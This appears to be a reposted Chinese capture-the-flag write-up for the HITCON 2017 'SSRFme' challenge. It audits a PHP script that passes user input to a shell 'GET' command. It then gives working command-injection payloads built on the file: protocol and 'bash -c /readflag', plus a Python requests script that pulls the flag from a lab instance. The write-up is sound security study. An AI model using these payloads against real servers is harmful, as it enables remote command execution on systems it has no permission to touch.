ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[HITCON 2017]SSRFme 1

2022-02-20 12:04:42  阅读:201  来源: 互联网

标签:SSRFme target get url HITCON readflag 2017 requests bash


1.发现

1.1题目提示ssrf,打开地址发现代码.

2.步骤

1.1直接开始代码审计.

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {    #_SERVER:服务器和执行环境信息
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);    #explode:把字符串打散为数组 .
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];   REMOTE_ADDR:代表客户端IP
    }
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);   mkdir:新建目录
@chdir($sandbox);    chdir:改变当前的目录
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
shell_exec:通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
escapeshellarg:把字符串转码为可以在 shell 命令里使用的参数
$_GET:通过 URL 参数(又叫 query string)传递给当前脚本的变量的数组
$info = pathinfo($_GET["filename"]);            pathinfo() :函数以数组的形式返回关于文件路径的信息。   [filename]: 不包含后缀的文件名
$dir = str_replace(".", "", basename($info["dirname"]));
str_replace() 函数替换字符串中的一些字符(区分大小写)。basename()函数返回路径中的文件名部分
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);  file_put_contents  将一个字符串写入文件
highlight_file(__FILE__);
?>

首先创建一个沙盒文件夹,路径为sandbox/加上MD5加密过后的orange加页面输出的ip,
即orangex.x.x.x
然后再命令执行get参数url

file 协议利用 open 命令执行,要执行的命令先前必须要有以命令为文件名的文件存在

1.2所以需要执行两次payload ?url=file:ls /|&filename=ls /|

管道符好像必须要加,不加的话文件不会创建
进到创建的文件夹里

sandbox/230317844a87b41e353b096d0d6a5145/ls /|

 

 

 1.3然后readflag,如果直接/readflag的话,那么会在服务器的根目录创建这个文件,而不是在网站的那个目录,所以是无法命令执行的,所以可以用bash -c 相当于./readflag,而根据php字符解析特性,如果直接将./readflag传入,那么.就会变成下划线,从而不能命令执行。直接bash的话好像是只能bash 有sh后缀的文件,所以不能用

综上所述,bash -c 是最好的选择

同样运行两遍,exp如下

import requests

target = "http://44750eec-6686-4451-af23-9a262b44ddf8.node4.buuoj.cn:81/"
requests.get(target+"/?url=127.0.0.1&filename=|bash -c /readflag")
requests.get(target+"/?url=file:|bash -c /readflag&filename=1")
print(requests.get(target+"/sandbox/230317844a87b41e353b096d0d6a5145/1").text)

1.4得到flag

 3.借鉴

 https://blog.csdn.net/SopRomeo/article/details/106013885

标签:SSRFme,target,get,url,HITCON,readflag,2017,requests,bash
来源: https://www.cnblogs.com/WHOAMI-xiaoyu/p/15915160.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有